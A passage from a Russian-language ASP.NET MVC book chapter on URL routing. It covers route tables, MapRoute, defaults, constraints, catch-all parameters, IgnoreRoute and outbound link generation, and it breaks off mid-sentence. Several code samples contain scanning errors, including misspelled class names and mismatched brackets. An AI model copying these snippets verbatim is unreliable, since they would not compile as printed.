Таблица 8.2. Отображение системой маршрутизации произвольных URL на контроллеры и действия
Входящий URL	Может соответствовать
http://mysite.com/photos	{ controller = "Gallery",
action = "Display" }
http://mysite.com/admin/login	{ controller = "Auth",
action = "Login" }
http://mysite.com/articles/AnnualReview	{ controller = "Articles",
action = "View", contentItemName =
"AnnualReview" }
Все это управляется системой маршрутизации платформы. После соответствующего конфигурирования система маршрутизации выполняет две главных функции.
1. Отображает каждый входящий URL на соответствующий класс — обработчик запросов.
2. Конструирует исходящие URL, направляющие в другие части приложения.
Базовая система маршрутизации ASP.NET полностью независима от остальной части платформы MVC. Именно поэтому она находится в отдельной сборке (System.Web. Routing.dll) и пространстве имен. Ей ничего не известно о концепциях контроллеров и действий — эти имена параметров являются лишь произвольными строками для системы маршрутизации, и они трактуются так же, как любые другие имена параметров, которые можно выбрать.
На заметку! Библиотека System.web.Routing.dll изначально поставлялась в составе .NET3.5 SP1 задолго до появления ASP.NET MVC, поэтому она может использоваться приложениями ASP.NET Dynamic Data. Весьма вероятно, что будущая версия ASP.NET 4.0 (которая будет включена в Visual Studio 2010) сможет также применять систему маршрутизации, предоставляя разработчикам WebForms удобный способ организации чистых URL. В этой главе основное внимание сосредоточено на маршрутизации в рамках ASP.NET MVC, но большая часть сведений также касается маршрутизации и на других платформах.
В главе 7 вы узнали, что маршрутизация запускается на очень ранней стадии конвейера обработки запроса и является результатом регистрации UrlRoutingModule в качестве одного из HTTP-модулей приложения. В этой главе вы узнаете, как конфигурировать, использовать и тестировать базовую систему маршрутизации.
Настройка маршрутов
Для того чтобы посмотреть, как маршрутизируются запросы, создайте новый пустой проект ASP.NET MVC и загляните в файл Global .asax.es:
public class MvcApplication : System.Web.HttpApplication
{
protected void Applicationstart()
{
RegisterRoutes(RouteTable.Routes);
)
Глава 8. URL и маршрутизация 221
public static void RegisterRoutes(Routecollection routes) {
routes.IgnoreRoute("{resource}.axd/{*pathlnfo}"); // Это объясняется позже routes.MapRoute(
"Default" ,	// Имя маршрута
"{controller}/{action}/{id}",	// URL с параметрами
new { controller = "Home", action = "Index", id = "" } // Значения
// параметров по умолчанию );
}
}
Когда приложение запускается впервые (т.е. выполняется Application Start ()), этот код заполняет глобальный статический объект Routecollection по имени RouteTable .Routes. Именно в этой коллекции хранится конфигурация маршрутизации приложения. Наиболее важный код выделен полужирным: MapRoute () добавляет элемент к конфигурации маршрутизации. Чтобы понять, что это значит, вы должны знать, что этот вызов MapRoute () — просто сжатая альтернатива следующему коду:
Route myRoute = new Route ("{controller}/{action}/{id}", new MvcRouteHandler()) {
Defaults = new RouteValueDictionary( new { controller = "Home", action = "Index", id = "" }) };
routes.Add("Default", myRoute);
Каждый объект Route определяет шаблон URL и описывает, как обработать запросы для этого URL. В табл. 8.3 показано, что означает этот конкретный элемент.
Таблица 8.3. Отображение элементов маршрута по умолчанию на входящие URL
URL	Отображается на
/	{ controller = "Home", action = "Index", id = "" }
/Forum	{ controller = "Forum", action = "Index", id = "" }
/Forum/ShowTopics	{ controller = "Forum", action = "ShowTopics", id = "" }
/Forum/ShowTopics/75	{ controller = "Forum", action = "ShowTopics", id = "75" }
В каждом элементе RouteTable можно настраивать пять свойств. Эти свойства определяют, совпадает ли он с заданным URL, и указывают действия, производимые в отношении запроса в случае совпадения (см. табл. 8.4).
Механизм маршрутизации
Механизм маршрутизации запускается в начале конвейера обработки запросов. Его работа состоит в том. чтобы взять входящий URL и использовать его для получения объекта IHttpHandler, который обработает запрос.
Многих новичков в MVC Framework маршрутизация приводит в замешательство. Она не имеет аналогов на традиционной платформе ASP.NET, и ее очень легко сконфигурировать неправильно. Как следует разобравшись в ее внутреннем устройстве, вы избежите этих трудностей, а также сможете значительно расширить механизм, добавляя необходимое поведение во всем приложении.
Таблица 8.4. Свойства System.Web.Routing.Route
Свойство	Значение	Тип	Пример
Url	URL, подлежащий сопоставлению co всеми параметрами в фигурных скобках (обязательное свойство).	string	"Browse/{ category} /{ pagelndex} "
RouteHandler	Обработчик, используемый для обработки запроса (обязательное свойство).	IRouteHandler	new MvcRouteHandler()
Defaults	Делает некоторые параметры необязательными, назначая им значения по умолчанию.	RouteValueDictionary	new RouteValueDictionary( new { controller = "Products", action = "List", category = "Fish", pagelndex = 3 } )
Constraints	Набор правил, которым должны удовлетворять параметры запроса. Значением каждого правила является либо строка string, трактуемая как регулярное выражение, либо объектIRouteConstraint.	RouteValueDictionary	new RouteValueDictionary( new { pagelndex = @"\d{ 0,6} " } )
DataTokens	Набор произвольных дополнительных опций конфигурации, которые будут переданы обработчику маршрута (обычно не является обязательным свойством).	RouteValueDictionary	Рассматривается в следующей главе.
Глава 8. URL и маршрутизация 223
Основные элементы: RouteBase, Route и Routecollection
Конфигурация маршрутизации построена с помощью трех основных элементов.
•	RouteBase — абстрактный базовый класс для элемента маршрутизации. Унаследовав собственный специальный тип от этого класса (в конце главы будет приведен пример), можно реализовать необычное поведение маршрутизации, но пока о нем можно забыть.
•	Route — стандартный, часто используемый подкласс RouteBase, который вводит понятия шаблонов URL, настроек по умолчанию и ограничений. Это то, что встречается в большинстве примеров.
•	Routecollection — полная конфигурация маршрутизации. Представляет собой упорядоченный список объектов-наследников RouteBase (например, объектов Route).
RouteTable. Routes1 — это специальный статический экземпляр Routecollection. Он представляет текущую, активную конфигурацию маршрутизации приложения. Обычно он заполняется только однажды, при запуске приложения в первый раз, в методе Application_Start () из Global.asax.cs. Это статический объект, поэтому он существует на протяжении всего времени жизни приложения, и не пересоздается по каждому запросу.
Обычно код конфигурации не встраивается непосредственно в метод Application_ Start (), а выносится в метод по имени RegisterRoutes (). Это облегчает доступ к конфигурации из автоматизированных тестов (как было показано при тестировании маршрутов в главе 5 и вновь будет показано далее в этой главе).
Место маршрутизации в конвейере обработки запросов
При запросе URL система вызывает каждый из зарегистрированных для приложения экземпляров IHttpModule. Один из них, UrlRoutingModule (его можно увидеть в файле web. config), выполняет три функции.
1.	Находит первый объект RouteBase в RouteTable .Routes, который соответствует данному запросу. Стандартные элементы Route совпадают в случае удовлетворения следующих трех условий.
•	Запрашиваемый URL соответствует шаблону URL данного Route.
•	Все параметры, заданные в фигурных скобках, присутствуют в запрошенном URL или в коллекции Defaults (т.е. все параметры учтены).
•	Удовлетворено каждое условие из коллекции Constraints.
•	UrlRoutingModule начинает с начала коллекции RouteTable.Routes и просматривает все элементы по порядку. Просмотр прекращается при нахождении первого соответствия, поэтому важно, чтобы наиболее специфичные элементы маршрута располагались в начале.
2.	Запрашивает у соответствующего объекта RouteBase структуре RouteData, которая специфицирует, каким образом должен быть обработан запрос. RouteData — простая структура данных с четырьмя свойствами.
•	Route. Ссылка на выбранный элемент маршрута (типа RouteBase).
1 Его полное имя выглядит как System.Web.Routing.RouteTable.Routes.
224 Часть II. ASP.NET MVC во всех деталях
•	RouteHandler. Объект, реализующий интерфейс IRouteHandler, который обработает запрос (в приложениях ASP.NET MVC это обычно экземпляр MvcRouteHandler2).
•	Values. Словарь, хранящий имена параметров в фигурных скобках и значения, извлеченные из запроса, а также значения по умолчанию для всех параметров в фигурных скобках, которые не были указаны в URL.
•	DataTokens. Словарь, хранящий все дополнительные настройки конфигурации, поставляемые элементом маршрутизации (более подробно рассматриваются в следующей главе).
3.	Вызывает RouteHandler из RouteData. Передает RouteHandler всю доступную информацию о текущем запросе в параметре по имени requestcontext. Сюда входят структуры RouteData и объект HttpContextBase, который специфицирует всю контекстную информацию, включая НТТР-заголовки, cookie-наборы, состояние аутентификации, данные строки запроса и отправленные данные формы.
Значение порядка следования элементов маршрута
“Золотое правило" маршрутизации формулируется следующим образом: помещайте более специфичные элементы маршрута перед менее специфичными. Да, Routecollection представляет собой упорядоченный список, и порядок добавления в него элементов очень важен для процесса сопоставления маршрута. Система не пытается найти “наиболее специфичное” соответствие для входящего URL; используемый алгоритм состоит в том, что просмотр начинается с начала таблицы маршрутов, по очереди проверяется каждый элемент, и просмотр останавливается при нахождении первого совпадения. Например, никогда не конфигурируйте маршруты так, как показано ниже:
routes.MapRoute(
"Default",	// Имя маршрута
"{controller}/{action)/{id}",	// URL с параметрами
new { controller = "Home", action = "Index", id = "" } // Значения
// параметров по умолчанию ) ;
routes.MapRoute(
"Specials",	// Имя маршрута
"DailySpecials/{date)",	// URL с параметрами
new { controller = "Catalog", action = "ShowSpecials" } // Значения
// параметров по умолчанию ) l
Причина в том, что /DailySpecials/March-31 будет соответствовать первому элементу, а это породит значения RouteData, перечисленные в табл. 8.5.
Таблица 8.5. Результаты неправильной интерпретации запроса
/DailySpecials/March-31 для предыдущей конфигурации маршрутизации
Ключ RouteData	Значение RouteData
Controller	DailySpecials
action	March-31
Id	Пустая строка
2 Обработчику MvcRouteHandler известно, как находить и вызывать классы контроллеров (на самом деле он делегирует выполнение этой задачи обработчику HTTP под названием MvcHandler, который обращается к зарегистрированной фабрике контроллеров за созданием определенного контроллера по имени). Фабрики контроллеров более подробно рассматриваются в следующей главе.
Глава 8. URL и маршрутизация 225
Очевидно, что это не то, что требуется. Дело даже не дойдет до Catalogcontroller, потому что начальный элемент уже перехватывает широкий диапазон URL. Решение состоит в изменении порядка следования этих элементов. DailySpecials/{date} более специфичен, чем {controller}/{action}/ {id}, поэтому он должен располагаться в списке выше.
Добавление элемента маршрута
Маршрут по умолчанию (соответствующий {controller} / {action} / {id}) имеет настолько общий характер, что вокруг него можно построить целое приложение, без необходимости иметь другие элементы конфигурации. Однако если вы захотите обрабатывать URL, которые не имеют никакого отношения к контроллерам или действиям, то вам понадобятся другие элементы конфигурации.
Начнем с простого примера. Предположим, что URL вида /Catalog должен направлять к списку товаров, и существует класс контроллера по имени ProductsController, включающий метод List (). В этом случае потребуется добавить следующий маршрут:
routes.Add(new Route("Catalog", new MvcRouteHandler()) {
Defaults = new RouteValueDictionary( new { controller = "Products", action = "List" } )
});
Этот элемент будет соответствовать URL /Catalog или /Catalog?some=querystring, но не /Catalog/Anythingelse. Чтобы понять причины, давайте рассмотрим, какие части URL важны для элемента Route.
Шаблоны URL, соответствующие путевой части URL
Когда объект Route решает, соответствует ли он определенному входящему URL, он учитывает только путевую часть входящего URL. Это значит, что ни доменное имя (также называемое хостом), ни любые значения строки запроса не учитываются. На рис. 8.1 показана путевая часть адреса URL3.
http://www.example.com/some/url?abc=def&ghi=jkl ч Y _________________________________v______/
Схема	Хост	Путь Строка запроса
Рис. 8.1. Идентификация путевой части URL
Продолжая предыдущий пример, отметим, что шаблон URL "Catalog" будет соответствовать и http: / / example . сот/Catalog, и https://a.b.c.d:1234/ Catalog?query=string.
При развертывании приложения в виртуальном каталоге шаблоны URL рассматриваются как действующие относительно корня виртуального каталога. Например, если приложение развертывается в виртуальном каталоге по имени virtDir, тот же шаблон URL "Catalog" будет соответствовать http://example.com/virtDir/Catalog. Разумеется, он уже не будет соответствовать http : / /example . com/Catalog, потому что сервер IIS не выдаст приложению запрос на обработку этого URL.
3 Обычно при запросе Request. Path среда ASP.NET возвращает URL с ведущим слэшем (например, /Catalog). Для шаблонов маршрутизации URL наличие ведущего слэша подразумевается (другими словами, не помещайте ведущий слэш в шаблоны маршрутизации URL, а просто пишите, например, Catalog).
226 Часть II. ASP.NET MVC во всех деталях
Словарь RouteValueDictionary
Обратите внимание, что свойством Defaults в Route является RouteValueDictionary. С ним связан гибкий API-интерфейс, позволяющий заполнять свойство разнообразными способами, в зависимости от предпочтений. В предыдущем коде использовался анонимный тип C# 3.0. Объект RouteValueDictionary извлекает свой список свойств (в данном случае — controller и action) во время выполнения, а это дает возможность предоставить произвольный список пар “имя/значение”. В результате получается весьма аккуратный синтаксис.
Альтернативный способ заполнения RouteValueDictionary состоит в передаче IDictionary<string, object> в качестве параметра конструктора или применении средства инициализатора коллекции C# 3.0:
routes.Add(new Route("Catalog", new MvcRouteHandler()) {
Defaults = new RouteValueDictionary
{
{ "controller", "Products" } ,
{ "action", "List" }
}
}) ;
В любом случае RouteValueDictionary — это просто словарь, потому он не особо безопасен в отношении типов и не поддерживается средством IntelllSense. Это значит, что при наборе имен свойств вполне возможны опечатки (скажем, conrtoller вместо controller), которые останутся незамеченными вплоть до времени выполнения.
Сокращение кода с помощью MapRoute ()
В ASP.NET MVC к классу Routecollection добавлен расширяющий метод по имени MapRoute (), который предоставляет альтернативный синтаксис для добавления элементов маршрута. Возможно, он покажется вам более удобным. С его помощью тот же элемент маршрута можно выразить следующим образом:
routes.MapRoute("PublicProductsList", "Catalog", new { controller = "Products", action = "List" });
В этом случае PublicProductsList — имя элемента маршрута. Это просто произвольная уникальная строка. К тому же она необязательна: вы не обязаны именовать элементы маршрута (при вызове MapRoute () можно передать null в качестве параметра name). Однако назначение имен определенным элементам маршрута обеспечивает другой способ сослаться на них во время тестирования или генерации исходящих URL. По ряду причин, которые объясняются позже в этой главе, имена маршрутам предпочтительнее не назначать.
На заметку! Назначать имена элементам маршрута можно также при вызове routes. Add О, используя для этого перегрузку метода, которая принимает параметр name.
Использование параметров
Ранее уже несколько раз было показано, что параметры мотут передаваться в фигурных скобках. Давайте добавим параметр color (цвет) к маршруту:
routes.Add(new Route("Catalog/{color}", new MvcRouteHandler()) {
Defaults = new RouteValueDictionary( new { controller = "Products", action = "List" } ) });
Глава 8. URL и маршрутизация 227
Это эквивалентно следующему коду:
routes.MapRoute(null, "Catalog/{color}", new { controller = "Products", action = "List" });
Теперь маршрут будет соответствовать таким URL, как /Catalog/yellow или latal og/1234, и система маршрутизации добавит соответствующую пару “имя/значе-ние” в объект RouteData запроса. Так, например, по запросу /Catalog/yellow элемент P'uteData.Values ["color"] получит значение yellow.
Совет. Поскольку в объектах Route фигурные скобки (т.е. { и }) служат разделителями параметров, их нельзя использовать в качестве нормальных символов в шаблонах URL. Если это все-таки необходимо, потребуется записать {{ и }}, т.е. двойные фигурные скобки, которые будут интерпретироваться как литерал одиночной фигурной скобки. Хотя если подумать, то зачем вообще применять фигурные скобки в URL?
Получение значений параметров в методах действий
Как уже известно, методы действий могут принимать параметры. При вызове платформой ASP.NET MVC методу действия должны передаваться значения всех его параметров. Одним из мест, откуда можно получить значения, является коллекция RouteData. ASP.NET MVC просматривает словарь Values в RouteData в поисках пары “ключ/зна-чение”, имя которой совпадает с именем параметра.
Таким образом, если есть метод действия вроде показанного ниже, то его параметр color будет заполнен согласно сегменту {color}, выделенному из входящего URL:
public ActionResult List(string color)
{
// Какое-то действие
}
Извлекать входные параметры из словаря RouteData непосредственно потребуется редко (методы действий обычно не нуждаются в доступе к RouteData.Values [ "НекотороеЗначение" ]). Имея параметры метода действий с соответствующими именами, можно рассчитывать, что они будут заполнены значениями RouteData, которые представляют собой значения, извлеченные из входящего URL.
Точнее говоря, параметры метода действий не просто извлекаются непосредственно из RouteData .Values, а получаются через систему привязки модели, которая способна создавать и предоставлять экземпляры объектов любого типа .NET. включая массивы и коллекции. Дополнительные сведения об этом механизме вы получите в главах 9 и 11.
Использование настроек по умолчанию
Значение по умолчанию для {color} не было задано, поэтому он стал обязательным параметром. Элемент Route отныне не соответствует запросу /Catalog. Однако этот параметр можно сделать необязательным, добавив к объекту Defaults следующий код:
routes.Add(new Route("Catalog/{color}", new MvcRouteHandler()) {
Defaults = new RouteValueDictionary(
new { controller = "Products", action = "List", color=(string)null }
)
});
228 Часть II. ASP.NET MVC во всех деталях
С помощью MapRoute можно применить эквивалентное сокращение:
routes.MapRoute(null, "Catalog/{color}",
new { controller = "Products", action = "List", color = (string)null } );
На заметку! При конструировании анонимно типизированного объекта компилятор C# должен выводить тип каждого свойства из заданного значения. Значение null не относится к какому-то определенному типу, поэтому его понадобится привести к чему-то специфическому, или же будет получена ошибка компиляции. Вот почему мы пишем (string) null.
Теперь этот элемент Route соответствует как /Catalog, так и /Catalog/orange. Для URL /Catalog значение RouteData. Values [ "color" ] будет равно null, в то время как для URL /Catalog/orange — "orange".
Если требуется установить отличное от null значение по умолчанию, как в случае параметров типов, не допускающих null, например, int, это можно сделать вполне очевидным образом:
routes.Add(new Route("Catalog/{color}", new MvcRouteHandler ()) {
Defaults = new RouteValueDictionary(
new { controller = "Products", action = "List", color = "Beige", page = 1 } )
}) ;
Обратите внимание, что значения “по умолчанию” здесь заданы для некоторых “параметров”, которые в действительности не соответствуют параметрам в фигурных скобках внутри URL (т.е. controller, action и page, хотя в шаблоне URL отсутствуют {controller}, {action} и {page}). Это вполне допустимый и совершенно правильный способ установки значений RouteData, которые действительно зафиксированы для данного элемента Route. Например, для данного объекта Route значение RouteData ["controller" ] всегда равно "Products" независимо от входящего URL, поэтому сопоставление запросов всегда будет обрабатываться контроллером ProductsController.
При использовании обработчика MvcRouteHandler (как это делается по умолчанию в ASP.NET MVC) нужно обязательно иметь значение по имени controller, иначе каркас не будет знать, что делать с входящим запросом, и сгенерирует ошибку. Значение controller может быть взято из параметра URL в фигурных скобках или же указано в объекте Defaults, но не может быть опущено.
Использование ограничений
Иногда может понадобиться добавить дополнительные условия, которым должен удовлетворять запрос, чтобы соответствовать определенному маршруту. Примеры перечислены ниже.
•	Некоторые маршруты должны соответствовать только запросам GET, но не POST (или наоборот).
•	Некоторые параметры должны соответствовать определенным шаблонам (например, "параметр идентификатора должен быть числовым”).
•	Некоторые маршруты должны соответствовать запросам, которые поступили от обычными веб-браузерами, в то время как другие должны соответствовать тому же URL, но присланному устройством IPhone.
Глава 8. URL и маршрутизация 229
Для таких случаев в Route предусмотрено свойство Constraints. Это еще один словарь RouteValueDictionary4, в котором ключи соответствуют именам параметров, а значения — правилам для этих параметров. Каждое правило ограничения имеет тип string и интерпретируется как регулярное выражение. Для большей гибкости оно также может быть специальным ограничением типа iRouteConstraint. Рассмотрим некоторые примеры.
Сопоставление с регулярными выражениями
Для того чтобы гарантировать, что параметр будет числовым, можно использовать такое правило:
routes.Add(new Route("Articles/{id}", new MvcRouteHandler()) {
Defaults = new RouteValueDictionary(
new { controller = "Articles", action = "Show" }
) ,
Constraints = new RouteValueDictionary(new { id = @"\d{l,6}" })
});
Приведенный выше код эквивалентен следующему:
routes.MapRoute(null, "Articles/{id}",
new { controller = "Articles", action = "Show" },
new { id = @"\d{l,6}" }
) ;
Согласно этому правилу проверки достоверности любое потенциальное значение id сопоставляется с регулярным выражением "\d{l, 6}", которое означает “число, имеющее от одного до шести десятичных разрядов”. Таким образом, элемент Route будет соответствовать /Articles/1 и /Articles/123456, но не /Articles (потому что значение по умолчанию для id не предусмотрено), /Articles/xyz и /Articles/1234567.
Внимание! При написании регулярных выражений на C# помните, что символ обратного слэша (\) имеет специальное значение как для компилятора С#, так и для синтаксиса регулярного выражения. Регулярное выражение, обозначающее десятичное число, должно записываться не как "\d", а как "\\d" (двойной обратный слэш говорит компилятору C# о том, что нужно вывести одиночный обратный слэш, а за ним d, а не управляющий символ d). Допускается также писать @"\d" (символ @ отключает интерпретацию специальных символов компилятором в данном строковом литерале).
Сопоставление с методами HTTP
Если необходимо, чтобы элемент Route соответствовал только запросам GET (но не запросам POST), можно воспользоваться встроенным классом HttpMethodConstraint (который реализует интерфейс IRouteConstraint), например:
routes.Add(new Route("Articles/{id} ", new MvcRouteHandler ()) {
Defaults = new RouteValueDictionary}
new { controller = "Articles", action = "Show" } ) ,
Если для регистрации элементов маршрута используется расширяющий метод MapRoute (), он принимает параметр object по имени constraints. Этот параметр “за кулисами” автоматически преобразуется в RouteValueDictionary.
230 Часть II. ASP.NET MVC во всех деталях
Constraints = new RouteValueDictionary(
new { httpMethod = new HttpMethodConstraint("GET") } )
});
Более кратко это можно выразить с помощью MapRoute ():
routes.MapRoute(null, "Articles/{id}",
new { controller = "Articles", action = "Show" }, new { httpMethod = new HttpMethodConstraint("GET") } ) ;
Если требуется установить соответствие с любым из возможных методов HTTP, передайте их конструктору HttpMethodConstraint, например, new HttpMethodConstraint( "GET","DELETE").
Совет. HttpMethodConstraint функционирует независимо от того, какое ключевое значение содержится в словаре Constraints, поэтому в данном примере можно заменить httpMethod любым другим именем ключа. Никакой разницы не будет.
Обратите внимание, что HttpMethodConstraint никак не связан с атрибутом [AcceptVerbs ], который использовался в предыдущих главах, даже несмотря на то, что оба он регламентируют прием запросов GET или POST. Отличия состоят в следующем.
•	HttpMethodConstraint работает на уровне маршрутизации, затрагивая только то, какому элементу маршрута данный запрос должен соответствовать.
•	[AcceptVerbs ] работает на более позднем этапе в конвейере, когда маршрут уже сопоставлен, экземпляр контроллера создан и запущен, и контроллер уже решил, какой из его методов действий должен обработать запрос.
Если цель состоит в определении, что конкретный метод действия обрабатывает запросы GET или POST, используйте [ AcceptVerbs], потому что атрибутами легко управлять, и они могут быть нацелены на один определенный метод действия, в то время как дополнительные ограничения маршрутизации неконтролируемо усложняют общую конфигурацию маршрутизации.
Сопоставление со специальными ограничениями
Если необходимо реализовать ограничения, которые не являются простыми регулярными выражениями для параметров URL или ограничениями допустимых методов HTTP, можно реализовать собственный интерфейс IRouteConstraint. Это обеспечит максимум гибкости в поиске соответствия с любыми данными контекста запроса.
Например, для установки элемента маршрута, который соответствует только запросам от определенных веб-браузеров, можно создать следующее специальное ограничение (самые интересные строки выделены полужирным):
public class DserAgentConstraint : IRouteConstraint {
private string _requiredSubstring;
public UserAgentConstraint(string requiredSubstring) {
this,_requiredSubstring = requiredSubstring;
}
public bool Match(UttpContextBase httpContext, Route route, string paramName, RouteValueDictionary values, RouteDirection routeDirection) {
Глава 8. URL и маршрутизация 231
if (httpContext.Request.UserAgent == null) return false;
return httpContext.Request.UserAgent.Contains(_requiredSubstring); }
}
На заметку! Параметр routeDirection указывает на одно из двух действий: сопоставление входящего URL (RouteDirection. IncomingRequest) или генерация исходящего URL (RouteDirection.UrlGeneration). Ради согласованности этот параметр рекомендуется игнорировать.
Следующий элемент маршрута будет сопоставляться только с запросами, которые поступают от устройств iPhone:
routes-Add(new Route("Articles/{id}", new MvcRouteHandler ())
{
Defaults = new RouteValueDictionary(
new { controller = "Articles", action = "Show" }
),
Constraints = new RouteValueDictionary(
new { id = @"\d{l,6}", UserAgent = new UserAgentConstraint("iPhone") } )
});
Прием списка параметров переменной длины
До сих пор для каждого элемента маршрута принимался только фиксированный набор параметров в фигурных скобках. А что если необходимо создать впечатление произвольности структуры каталогов, чтобы можно было принимать такие URL, как /Articles/Science/Paleontology/Dinosaurs/Stegosaurus? Сколько параметров в фигурных скобках в этом случае нужно поместить в шаблон URL?
Система маршрутизации позволяет определять универсальные параметры, которые игнорируют слэши и захватывают все до конца URL. Такие параметры назначаются добавлением префикса — звездочки (*), например:
routes.MapRoute(null, "Articles/{*articlePath)",
new { controller = "Articles", action - "Show" } ) ;
Этот элемент маршрута будет соответствовать /Articles/Science/Paleontology/ Dinosaurs/Stegosaurus, порождая значения маршрута, которые перечислены в табл. 8.6.
Таблица 8.6. Значения RouteData, подготовленные универсальным параметром
Ключ RouteData	Значение RouteData
Controller	Articles
action	Show
articlePath	Science/Paleontology/Dinosaurs/Stegosaurus
Естественно, в шаблоне URL может быть предусмотрен только один универсальный параметр, и он должен быть последним (крайним правым) в URL, поскольку он перехватывает весь путь URL от этой точки и до конца. Однако он не перехватывает все из строки запроса. Как упоминалось ранее, объекты Route просматривают только путевую часть URL.
232 Часть II. ASP.NET MVC во всех деталях
Универсальные параметры удобны, если вы позволяете посетителям выполнять навигацию по некоторого рода иерархии произвольной глубины, как в системах управления содержимым (content management systems — CMS).
Сопоставление с файлами на жестком диске сервера
Общая цель маршрутизации — разрушить ассоциацию “один к одному” между URL и файлами в файловой системе сервера. Однако система маршрутизации все равно проверяет файловую систему в поисках соответствия входящего URL некоторому файлу на диске. Если соответствие найдено, система маршрутизации игнорирует запрос (пропуская любые элементы маршрута, которым также может соответствовать URL) и обращается к файлу непосредственно.
Это очень удобно для статических файлов вроде графических изображений, таблиц стилей CSS и файлов кода JavaScript. Их можно сохранить в текугцем проекте (например, в папках /Content или /Script), после чего обращаться и обслуживать напрямую, как если бы маршрутизации вообще не было. Поскольку файл определенно присутствует на диске, он имеет приоритет перед конфигурацией маршрутизации.
Использование флага RouteExistingFiles
Если вместо этого необходимо, чтобы конфигурация маршрутизации имела приоритет перед файлами на диске, установите свойство RouteExistingFiles объекта RouteCollection в true (по умолчанию оно равно false).
public static void RegisterRoutes(RouteCollection routes) {
// Это можно установить перед или после настройки элементов маршрута: routes.RouteExistingFiles = true;
}
Когда RouteExistingFiles равно true, система маршрутизации не ищет совпадение URL с реальным файлом на диске; взамен она пытается найти и вызвать соответствующий элемент RouteTable.Routes. В этом случае есть только две причины для непосредственной обработки файла.
•	Когда входящий URL не соответствует ни одному элементу маршрута, но соответствует файлу на диске.
•	Когда применяется IgnoreRoute () (либо имеется какой-то другой элемент маршрута, основанный на StopRoutingHandler). Ниже это рассматривается более подробно.
Установка RouteExistingFiles в true — довольно радикальная мера, и вряд ли она подойдет в большинстве случаев.
Например, обратите внимание, что элемент маршрута {controller} / {action} также соответствует /Content/styles . css. В результате система больше не сможет обрабатывать файл CSS, а вместо этого вернет сообщение об ошибке, уведомляющее о невозможности обнаружения класса контроллера по имени Contentcontroller.
На заметку! RouteExistingFiles — средство системы маршрутизации, поэтому оно влияет на запросы, только если система маршрутизации активна (т.е. на запросы, передаваемые через UrlRoutingModule). Для сервера IIS 7, запущенного в режиме интегрированного конвейера, и для IIS 6 с соответствующей картой шаблонов зто будет касаться каждого запроса. Но в других сценариях развертывания (например, IIS 6 без карты шаблонов) модули THttpModule участвуют, только когда URL имеет соответствующее расширение (например, *. aspx, *. ashx), так что запросы *. css (и прочих нединамических файлов) не пройдут через маршрутизацию, а будут обработаны статически, независимо от RouteExistingFiles. Подробнее о картах шаблонов и отличиях между IIS 6 и IIS 7 будет рассказано в главе 14.
Глава 8. URL и маршрутизация 233
Использование IgnoreRoute () для обхода системы маршрутизации
Для установки в пространстве URL специфических исключений, предотвращающих сопоставление с определенными шаблонами в системе маршрутизации5, служит метод IgnoreRoute (). Ниже показан пример его применения:
public static void RegisterRoutes(Routecollection routes)
{
routes.IgnoreRoute("{filename}.xyz");
// Остальная часть конфигурации маршрутизации
}
В приведенном примере {filename} .xyz трактуется как шаблон URL, подобно нормальному элементу маршрута, поэтому система маршрутизации не будет игнорировать запросы /blah.xyz или /fоо.хуг?зоте=СтрокаЗапроса. (Разумеется, этот элемент должен быть расположен в таблице маршрутов выше любого другого элемента, с которым может произойти совпадение и который обработает эти URL.) Если необходим более тонкий контроль над URL, игнорируемыми при маршрутизации, можно также передать параметр constraints.
IgnoreRoute () полезно в следующих ситуациях.
•	Имеется специальный IHttpHandler, зарегистрированный для обработки запросов * . xyz, и ему не должна мешать система маршрутизации. (В стандартном проекте ASP.NET MVC эта техника используется для защиты запросов * . axd от вмешательства со стороны системы маршрутизации.)
•	Свойство RouteExistingFiles установлено в true, и также требуется настроить исключение для этого правила (например, чтобы все файлы из /Content обслуживались непосредственно с диска). В этом случае можно воспользоваться routes.IgnoreRoute("Content/{*restOfUrl}") .
Совет. Во многих приложениях нет необходимости в вызове IgnoreRoute (), хотя исключение по умолчанию для *.axd имеет смысл оставить. Не стоит тратить время на то, чтобы специфически исключать части пространства URL, если на то нет веских причин. Если входящий URL в действительности не соответствует одному из установленных злементов маршрута, система просто выдаст ошибку 404 Not Found (не найдено).
Как все это работает? Внутри метода IgnoreRoute () устанавливается элемент маршрута. обработчик RouteHandler которого является экземпляром StopRoutingHandler (вместо MvcRouteHandler). Фактически приведенный пример в точности соответствует следующему:
routes.Add(new Route("{filename}.xyz", new StopRoutingHandler()));
Система маршрутизации жестко закодирована на поиск StopRoutingHandler и распознает его как сигнал для обхода маршрутизации. StopRoutingHandler можно использовать в качестве обработчика маршрутов в собственных маршрутах и классах RouteBase, когда требуется установить более сложные правила отключения маршрутизации для определенных запросов.
5 Это не означает, что запрос будет отклонен вообще: это значит лишь, что он не будет перехвачен системой маршрутизации. Ответственность за обработку такого запроса будет передана серверу IIS, что может привести к генерации ответа, а может и не привести, в зависимости от того, имеется ли другой зарегистрированный обработчик для этого URL.
234 Часть II. ASP.NET MVC во всех деталях
Генерация исходящих URL
Обработка входящих URL — только половина дела. Посетители сайта нуждаются с навигации от одной части приложения к другой, и чтобы они могли это делать, их понадобится снабдить ссылками на другие действительные URL внутри схемы URL приложения.
Старый способ построения ссылок состоит просто в конкатенации их из фрагментов строк и жестком кодировании во всем приложении. Именно это и делалось в течение многих лет в приложениях ASP.NET WebForms и на большинстве других платформ разработки веб-приложений. Программистам известно о существовании страницы по имени Details . aspx, которая ищет параметр строки запроса по имени id, поэтому используется жестко закодированный URL вроде следующего:
myHyperLink.NavigateUrl = "-/Details.aspx?id=" + itemID;
Эквивалент в представлении MVC будет выглядеть так:
<а href="/Products/Details/<%= ViewData["ItemID"] %>">More details</a>
Этот URL будет работать в настоящее время, но как насчет его работы в будущем, после проведения рефакторинга, когда захочется применить другой URL для ProductsController или его действия Details? Все существующие ссылки будут нарушены. А как быть с построением сложных URL со множеством параметров, включающих специальные символы и управляющие последовательности?
К счастью, система маршрутизации предлагает лучший способ. Поскольку схема URL явно известна платформе и внутренне представлена в виде строго типизированной структуры данных, можно воспользоваться преимуществами различных методов встроенного API-интерфейса для генерации хорошо оформленных URL, не прибегая к их жесткому кодированию. Система маршрутизации может восстановить активную конфигурацию маршрутизации, определив во время выполнения, какой URL приводит посетителя к определенному контроллеру и методу действия, и каким образом встроить любые параметры в этот URL.
Генерация гиперссылок с помощью
вспомогательного метода Html. ActionLink
Простейший способ генерации URL и их визуализации в виде нормальной гиперссылки HTML предусматривает вызов вспомогательного метода Html. ActionLink () из шаблона представления. Например, показанный ниже вызов визуализирует согласно текущей конфигурации маршрутизации гиперссылку на URL, который укажет на действие List класса контроллера ProductsController:
<%= Html.ActionLink ("See all of our products", "List", "Products") %>
При конфигурации маршрутизации по умолчанию в результате получится такая гиперссылка:
